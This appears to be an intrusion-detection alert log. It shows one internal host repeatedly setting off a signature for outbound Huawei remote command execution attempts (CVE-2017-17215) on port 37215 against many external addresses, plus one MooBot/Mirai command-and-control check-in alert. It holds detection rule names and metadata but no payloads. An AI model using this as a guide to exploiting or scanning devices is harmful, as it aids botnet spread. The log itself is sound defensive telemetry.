ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.167.74.1

Timestamp:	2024-08-06T08:33:19.250297+0200
SID:	2835222
Source Port:	59874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.0.126.61

Timestamp:	2024-08-06T08:33:19.266798+0200
SID:	2835222
Source Port:	57002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.132.223.150

Timestamp:	2024-08-06T08:33:19.652003+0200
SID:	2835222
Source Port:	54044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.39.190.188

Timestamp:	2024-08-06T08:33:19.610355+0200
SID:	2835222
Source Port:	56804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.205.58.249

Timestamp:	2024-08-06T08:33:19.266926+0200
SID:	2835222
Source Port:	40592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.248.75

Timestamp:	2024-08-06T08:33:17.818156+0200
SID:	2835222
Source Port:	33898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.0.90.66

Timestamp:	2024-08-06T08:33:20.946074+0200
SID:	2835222
Source Port:	54248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.63.193.232

Timestamp:	2024-08-06T08:33:19.291795+0200
SID:	2835222
Source Port:	53766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.9.222.229

Timestamp:	2024-08-06T08:33:19.282958+0200
SID:	2835222
Source Port:	39722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.88.164.69

Timestamp:	2024-08-06T08:33:19.270726+0200
SID:	2835222
Source Port:	46750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.90.208.161

Timestamp:	2024-08-06T08:33:20.930127+0200
SID:	2835222
Source Port:	54412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.61.218

Timestamp:	2024-08-06T08:33:19.265817+0200
SID:	2835222
Source Port:	57474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.43.12

Timestamp:	2024-08-06T08:33:19.657838+0200
SID:	2835222
Source Port:	40578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.151.175

Timestamp:	2024-08-06T08:33:19.308728+0200
SID:	2835222
Source Port:	48444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.10.5.237

Timestamp:	2024-08-06T08:33:19.295509+0200
SID:	2835222
Source Port:	37464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.213.228

Timestamp:	2024-08-06T08:33:20.930076+0200
SID:	2835222
Source Port:	40474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.141.181.78

Timestamp:	2024-08-06T08:33:19.637436+0200
SID:	2835222
Source Port:	59274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.74.217

Timestamp:	2024-08-06T08:33:19.284230+0200
SID:	2835222
Source Port:	53818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.90.150.199

Timestamp:	2024-08-06T08:33:19.199143+0200
SID:	2835222
Source Port:	53436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.79.250

Timestamp:	2024-08-06T08:33:20.946043+0200
SID:	2835222
Source Port:	53560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.199.95.162

Timestamp:	2024-08-06T08:33:19.272355+0200
SID:	2835222
Source Port:	37732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.44.129.184

Timestamp:	2024-08-06T08:33:19.291223+0200
SID:	2835222
Source Port:	34594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 154.216.17.9

Timestamp:	2024-08-06T08:33:24.033830+0200
SID:	2030490
Source Port:	55724
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.29.200

Timestamp:	2024-08-06T08:33:19.269925+0200
SID:	2835222
Source Port:	49624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.97.35.97

Timestamp:	2024-08-06T08:33:20.926152+0200
SID:	2835222
Source Port:	47648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.35.56

Timestamp:	2024-08-06T08:33:20.946086+0200
SID:	2835222
Source Port:	34510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.0.121.162

Timestamp:	2024-08-06T08:33:17.814317+0200
SID:	2835222
Source Port:	51522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.51.145.41

Timestamp:	2024-08-06T08:33:19.215325+0200
SID:	2835222
Source Port:	34534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.208.42

Timestamp:	2024-08-06T08:33:19.301052+0200
SID:	2835222
Source Port:	35618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.95.128.127

Timestamp:	2024-08-06T08:33:20.942078+0200
SID:	2835222
Source Port:	55440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.196.179.160

Timestamp:	2024-08-06T08:33:20.942165+0200
SID:	2835222
Source Port:	54778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.94.196

Timestamp:	2024-08-06T08:33:19.348704+0200
SID:	2835222
Source Port:	52844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.140.230.44

Timestamp:	2024-08-06T08:33:20.942080+0200
SID:	2835222
Source Port:	45712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.85.171.206

Timestamp:	2024-08-06T08:33:19.314592+0200
SID:	2835222
Source Port:	33736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.75.155.52

Timestamp:	2024-08-06T08:33:20.946087+0200
SID:	2835222
Source Port:	34192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.98.140

Timestamp:	2024-08-06T08:33:19.269625+0200
SID:	2835222
Source Port:	44432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.71.180.32

Timestamp:	2024-08-06T08:33:20.950266+0200
SID:	2835222
Source Port:	37954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.168.255

Timestamp:	2024-08-06T08:33:19.217842+0200
SID:	2835222
Source Port:	47072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.231.194.1

Timestamp:	2024-08-06T08:33:12.341017+0200
SID:	2835222
Source Port:	37548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.168.2.129

Timestamp:	2024-08-06T08:33:19.657584+0200
SID:	2835222
Source Port:	45156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.158.235.129

Timestamp:	2024-08-06T08:33:20.930119+0200
SID:	2835222
Source Port:	59282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.204.167.229

Timestamp:	2024-08-06T08:33:19.249952+0200
SID:	2835222
Source Port:	35946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.159.212

Timestamp:	2024-08-06T08:33:19.316042+0200
SID:	2835222
Source Port:	58022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.28.236

Timestamp:	2024-08-06T08:33:17.822140+0200
SID:	2835222
Source Port:	49606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.129.31.110

Timestamp:	2024-08-06T08:33:19.249440+0200
SID:	2835222
Source Port:	33700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.41.152

Timestamp:	2024-08-06T08:33:19.642209+0200
SID:	2835222
Source Port:	35300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.165.122.232

Timestamp:	2024-08-06T08:33:20.930121+0200
SID:	2835222
Source Port:	57836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.170.201.4

Timestamp:	2024-08-06T08:33:19.216565+0200
SID:	2835222
Source Port:	46592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.91.153.27

Timestamp:	2024-08-06T08:33:19.314588+0200
SID:	2835222
Source Port:	33008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.99.246.34

Timestamp:	2024-08-06T08:33:19.313053+0200
SID:	2835222
Source Port:	49632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.2.95.20

Timestamp:	2024-08-06T08:33:19.295336+0200
SID:	2835222
Source Port:	50936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.139.77.64

Timestamp:	2024-08-06T08:33:20.942075+0200
SID:	2835222
Source Port:	58436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.41.121

Timestamp:	2024-08-06T08:33:19.291226+0200
SID:	2835222
Source Port:	39570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.243.175.21

Timestamp:	2024-08-06T08:33:19.642512+0200
SID:	2835222
Source Port:	55596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.169.1.160

Timestamp:	2024-08-06T08:33:19.609040+0200
SID:	2835222
Source Port:	56116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.72.40.117

Timestamp:	2024-08-06T08:33:17.822139+0200
SID:	2835222
Source Port:	47232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.136.242.8

Timestamp:	2024-08-06T08:33:19.288492+0200
SID:	2835222
Source Port:	39140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.8.19.175

Timestamp:	2024-08-06T08:33:20.930035+0200
SID:	2835222
Source Port:	55036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.182.112

Timestamp:	2024-08-06T08:33:19.283679+0200
SID:	2835222
Source Port:	34584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.241.3.212

Timestamp:	2024-08-06T08:33:19.347633+0200
SID:	2835222
Source Port:	47466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.84.121.52

Timestamp:	2024-08-06T08:33:19.589185+0200
SID:	2835222
Source Port:	33972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.174.203

Timestamp:	2024-08-06T08:33:20.934040+0200
SID:	2835222
Source Port:	51706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.229.93.116

Timestamp:	2024-08-06T08:33:19.199572+0200
SID:	2835222
Source Port:	41816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.115.196.137

Timestamp:	2024-08-06T08:33:19.234154+0200
SID:	2835222
Source Port:	47248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.39.213.224

Timestamp:	2024-08-06T08:33:19.639094+0200
SID:	2835222
Source Port:	60692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.39.66

Timestamp:	2024-08-06T08:33:19.300714+0200
SID:	2835222
Source Port:	41964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.55.85.117

Timestamp:	2024-08-06T08:33:19.269622+0200
SID:	2835222
Source Port:	40102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.173.66

Timestamp:	2024-08-06T08:33:20.938138+0200
SID:	2835222
Source Port:	57702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.79.29

Timestamp:	2024-08-06T08:33:20.946090+0200
SID:	2835222
Source Port:	44448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.124.13.62

Timestamp:	2024-08-06T08:33:19.605973+0200
SID:	2835222
Source Port:	48158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.240.222.87

Timestamp:	2024-08-06T08:33:19.604863+0200
SID:	2835222
Source Port:	33256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.158.14.71

Timestamp:	2024-08-06T08:33:19.608617+0200
SID:	2835222
Source Port:	54338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.214.108.255

Timestamp:	2024-08-06T08:33:19.293147+0200
SID:	2835222
Source Port:	54950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.91.72.96

Timestamp:	2024-08-06T08:33:19.271465+0200
SID:	2835222
Source Port:	40940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.99.69.120

Timestamp:	2024-08-06T08:33:19.638549+0200
SID:	2835222
Source Port:	48114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.6.14.178

Timestamp:	2024-08-06T08:33:23.312565+0200
SID:	2835222
Source Port:	37034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.163.154.143

Timestamp:	2024-08-06T08:33:19.270655+0200
SID:	2835222
Source Port:	43796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.71.182.203

Timestamp:	2024-08-06T08:33:20.930070+0200
SID:	2835222
Source Port:	54736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.224.207.229

Timestamp:	2024-08-06T08:33:19.267489+0200
SID:	2835222
Source Port:	55516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.55.98.88

Timestamp:	2024-08-06T08:33:19.657545+0200
SID:	2835222
Source Port:	49538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.179.116.217

Timestamp:	2024-08-06T08:33:19.270911+0200
SID:	2835222
Source Port:	46118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.19.40.159

Timestamp:	2024-08-06T08:33:20.946038+0200
SID:	2835222
Source Port:	57686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.128.28

Timestamp:	2024-08-06T08:33:20.942158+0200
SID:	2835222
Source Port:	42228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.18.34.141

Timestamp:	2024-08-06T08:33:20.942030+0200
SID:	2835222
Source Port:	60194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.18.117

Timestamp:	2024-08-06T08:33:19.285720+0200
SID:	2835222
Source Port:	35148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.130.113.46

Timestamp:	2024-08-06T08:33:00.616619+0200
SID:	2835222
Source Port:	50446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.87.130

Timestamp:	2024-08-06T08:33:19.250241+0200
SID:	2835222
Source Port:	38640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.154.12.195

Timestamp:	2024-08-06T08:33:20.950015+0200
SID:	2835222
Source Port:	37050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.95.225

Timestamp:	2024-08-06T08:33:20.942160+0200
SID:	2835222
Source Port:	47284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.2.112.41

Timestamp:	2024-08-06T08:33:19.216941+0200
SID:	2835222
Source Port:	47280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.110.167.198

Timestamp:	2024-08-06T08:33:20.926145+0200
SID:	2835222
Source Port:	39838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.28.1.133

Timestamp:	2024-08-06T08:33:19.217752+0200
SID:	2835222
Source Port:	45960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.25.197.239

Timestamp:	2024-08-06T08:33:19.652886+0200
SID:	2835222
Source Port:	53406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.113.153

Timestamp:	2024-08-06T08:33:19.301133+0200
SID:	2835222
Source Port:	39130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.188.200.156

Timestamp:	2024-08-06T08:33:20.942159+0200
SID:	2835222
Source Port:	53372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.164.26.50

Timestamp:	2024-08-06T08:33:20.942031+0200
SID:	2835222
Source Port:	54246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.81.28.179

Timestamp:	2024-08-06T08:33:19.627355+0200
SID:	2835222
Source Port:	42420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.229.253.94

Timestamp:	2024-08-06T08:33:19.606739+0200
SID:	2835222
Source Port:	53460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.120.203.129

Timestamp:	2024-08-06T08:33:19.626076+0200
SID:	2835222
Source Port:	45084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

